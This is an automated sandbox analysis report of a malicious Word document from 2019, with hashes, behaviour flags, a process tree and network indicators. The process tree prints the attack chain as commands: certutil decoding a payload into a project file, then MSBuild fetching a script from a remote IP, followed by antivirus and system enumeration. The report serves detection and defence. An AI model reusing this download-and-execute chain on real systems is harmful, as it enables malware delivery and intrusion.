analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | abb97988c1a05d54e764643cfd8b7a00f21d47206b07882005a06c8919e6a538 |
| Full analysis: | https://app.any.run/tasks/87a9bdd2-2eae-4394-bb01-cf205a7104c1 |
| Verdict: | Malicious activity |
| Analysis date: | May 21, 2019, 01:54:02 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Author: user, Template: Normal.dotm, Last Saved By: user, Revision Number: 35, Name of Creating Application: Microsoft Office Word, Total Editing Time: 30:00, Create Time/Date: Thu May 9 09:27:00 2019, Last Saved Time/Date: Thu May 16 04:53:00 2019, Number of Pages: 1, Number of Words: 242, Number of Characters: 1382, Security: 0 |
| MD5: | D317C64C174EE18B890354477D89ADE3 |
| SHA1: | E00A4E0A03655DCCFF5FFDB4F4540115D820B5BB |
| SHA256: | ABB97988C1A05D54E764643CFD8B7A00F21D47206B07882005A06C8919E6A538 |
| SSDEEP: | 12288:j5XgV0u0awN0OUXENcii3aSGtvifpLL3fY+Cqn5cZXlRVZa:j5o0ZfNUXtovifRfuZXlRV |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 1472)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 1472)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 1248)
- schtasks.exe (PID: 1560)
- schtasks.exe (PID: 2520)
- schtasks.exe (PID: 2640)
- schtasks.exe (PID: 1096)
Uses Task Scheduler to run other applications
- MSBuild.exe (PID: 2328)
SUSPICIOUS
Starts CertUtil for decode files
- cmd.exe (PID: 3784)
Reads Environment values
- MSBuild.exe (PID: 2328)
Uses WMIC.EXE to obtain a list of AntiViruses
- MSBuild.exe (PID: 2328)
Uses SYSTEMINFO.EXE to read environment
- MSBuild.exe (PID: 2328)
Creates files in the program directory
- MSBuild.exe (PID: 2328)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1472)
Creates files in the user directory
- WINWORD.EXE (PID: 1472)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | user |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | user |
| RevisionNumber: | 35 |
| Software: | Microsoft Office Word |
| TotalEditTime: | 30.0 minutes |
| CreateDate: | 2019:05:09 08:27:00 |
| ModifyDate: | 2019:05:16 03:53:00 |
| Pages: | 1 |
| Words: | 242 |
| Characters: | 1382 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 11 |
| Paragraphs: | 3 |
| CharCountWithSpaces: | 1621 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
52
Monitored processes
14
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 1472 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\abb97988c1a05d54e764643cfd8b7a00f21d47206b07882005a06c8919e6a538.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 3784 | cmd /c C:\Users\admin\AppData\Local\Temp\hEAXOgUmvettynKZUAGD.bat | C:\Windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2648 | certutil -decode C:\Users\admin\AppData\Local\Temp\SoaKHYwxZMemlaurnkYe.txt C:\Users\admin\AppData\Local\Temp\Windows.csproj | C:\Windows\system32\certutil.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2972 | timeout /t 3 /nobreak | C:\Windows\system32\timeout.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2328 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\admin\AppData\Local\Temp\Windows.csproj /p:ScriptFile=http://139.59.30.109:8090/abcv /p:Key="WindowsService" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.6.1055.0 built by: NETFXREL2 | ||||
| 3312 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\svl5avmx.cmdline" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | — | MSBuild.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 4.6.1055.0 built by: NETFXREL2 | ||||
| 3404 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES2756.tmp" "c:\Users\admin\AppData\Local\Temp\CSCCAE03E74B110465EA9A462A06A54997C.TMP" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe | — | csc.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 12.00.52512.0 built by: VSWINSERVICING | ||||
| 2868 | "C:\Windows\System32\Wbem\WMIC.exe" /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv | C:\Windows\System32\Wbem\WMIC.exe | — | MSBuild.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3828 | "C:\Windows\system32\systeminfo.exe" /fo csv | C:\Windows\system32\systeminfo.exe | — | MSBuild.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Displays system information Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 1248 | "C:\Windows\system32\schtasks.exe" /query /tn JavaUpdate | C:\Windows\system32\schtasks.exe | — | MSBuild.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 138
Read events
766
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
2
Text files
9
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1472 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR10F0.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3312 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSCCAE03E74B110465EA9A462A06A54997C.TMP | — | |
MD5:— | SHA256:— | |||
| 3312 | csc.exe | C:\Users\admin\AppData\Local\Temp\svl5avmx.pdb | — | |
MD5:— | SHA256:— | |||
| 3404 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RES2756.tmp | — | |
MD5:— | SHA256:— | |||
| 3312 | csc.exe | C:\Users\admin\AppData\Local\Temp\svl5avmx.dll | — | |
MD5:— | SHA256:— | |||
| 3312 | csc.exe | C:\Users\admin\AppData\Local\Temp\svl5avmx.out | — | |
MD5:— | SHA256:— | |||
| 1472 | WINWORD.EXE | C:\Users\admin\Desktop\~WRD0000.tmp | — | |
MD5:— | SHA256:— | |||
| 1472 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF16CE445E807D4A2A.TMP | — | |
MD5:— | SHA256:— | |||
| 1472 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\abb97988c1a05d54e764643cfd8b7a00f21d47206b07882005a06c8919e6a538.doc.LNK | lnk | |
MD5:FE66D42CEE54FCF7A2287AE4DC0C6A8E | SHA256:7A01FB0B6E958F1B7200B3CB85E86884FC3E02897D9028FB6323CB4E18B66812 | |||
| 1472 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:CA3FF238A6DD2614574A49D681DE8632 | SHA256:EC7ECB07B0A602B45D861D13B7D00406DA1844151CB76A8EC30A1FC8480EBB71 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
7
DNS requests
0
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2328 | MSBuild.exe | GET | — | 139.59.30.109:8090 | http://139.59.30.109:8090/abcv | IN | — | — | unknown |
2328 | MSBuild.exe | GET | 404 | 139.59.30.109:8090 | http://139.59.30.109:8090/GG | IN | — | — | unknown |
2328 | MSBuild.exe | GET | 404 | 139.59.30.109:8090 | http://139.59.30.109:8090/sc | IN | — | — | unknown |
2328 | MSBuild.exe | POST | 404 | 139.59.30.109:8090 | http://139.59.30.109:8090/v | IN | — | — | unknown |
2328 | MSBuild.exe | POST | 404 | 139.59.30.109:8090 | http://139.59.30.109:8090/VQBTAEUAUgAtAFAAQwA=DLF1 | IN | — | — | unknown |
2328 | MSBuild.exe | GET | 404 | 139.59.30.109:8090 | http://139.59.30.109:8090/VQBTAEUAUgAtAFAAQwA= | IN | — | — | unknown |
2328 | MSBuild.exe | POST | 404 | 139.59.30.109:8090 | http://139.59.30.109:8090/VQBTAEUAUgAtAFAAQwA=DLF2 | IN | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2328 | MSBuild.exe | 139.59.30.109:8090 | — | Digital Ocean, Inc. | IN | unknown |